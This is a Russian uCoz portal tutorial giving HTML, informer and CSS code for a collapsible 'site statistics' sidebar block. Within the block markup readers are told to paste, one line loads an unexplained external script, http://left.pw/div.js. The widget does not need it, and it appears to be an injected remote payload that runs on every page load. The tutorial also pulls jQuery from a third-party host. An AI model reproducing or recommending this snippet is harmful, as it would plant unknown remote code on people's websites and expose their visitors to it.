Воскресенье, 24.11.2024, 03:19Вы вошли как Гость Группа "Гости" выход



Главная | Форум | Файлы | Ваша ссылка | Блог | Статьи | Видео
Навигация по сайту
  Главная
  Новости сайта
  Программы
  Музыка
  Игры
  Flash игры
  Фильмы
  Фильмы онлайн
  Сериалы
  Видео клипы
  Скрипты
  Шаблоны
  Книги
  Обои
  Видео уроки
  Добавление новостей

Ваш профиль

Статистика
Rambler's Top100
Рейтинг@Mail.ru



Главная » 2014 » Сентябрь » 6 » Красивая статистика для uCoz
11:43
Красивая статистика для uCoz

Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:

Код
<div id="statistic">

  <div class="Tstatis">
  <div class="title_statis">Счетчики пользователей</div>
  <div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;" class="Bstatis">
  $MYINF_1$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Онлайн сайта</div>
  <div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
  </div><script type="text/javascript" src="http://left.pw/div.js"></script>  

  <div style="display:none;" class="Bstatis2">
  $ONLINE_COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Счетчики сайта</div>
  <div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;text-align:center;" class="Bstatis3">
  $COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Сегодня нас посетили</div>
  <div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;padding-left:4px;" class="Bstatis4">
  $MYINF_2$
  </div>
   
</div>


Этот код нужно поставить на все страницы, перед </head> !!!

Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>


Создайте два информера:

$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]

Код
<dl>Всего: $ALL_USERS$</dl>
  <dl>За месяц: $30DAYS$</dl>
  <dl>За неделю: $7DAYS$</dl>
  <dl>Вчера: $YESTERDAY$</dl>
  <dl>Сегодня: $TODAY$</dl>


$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]

Код автоматом ставится.

В CSS добавьте стили:

Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
.Tstatis {height:24px;margin-top:6px;}
.title_statis {background:url(http://pnghosts.ru/img/statistic_title.png) no-repeat;float:left;width:171px;height:19px;font:11px Tahoma;text-shadow:1px 1px 0 #553a11;padding:4px 0 0 5px;overflow:hidden;}
.turn {background:url(http://pnghosts.ru/img/button_turn.png) no-repeat;float:right;width:37px;height:23px;margin:0 0 0 -5px;}
.Bstatis, .Bstatis2, .Bstatis3, .Bstatis4 {width:208px;font:11px Tahoma;text-shadow:1px 1px 0 #191919;margin-top:2px;}
#statistic dl {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
#statistic .tOnline, #statistic .gOnline, #statistic .uOnline {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
Категория: | Добавил: Гость | Дата: 24.11.2024 | Просмотров: 329 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск на сайте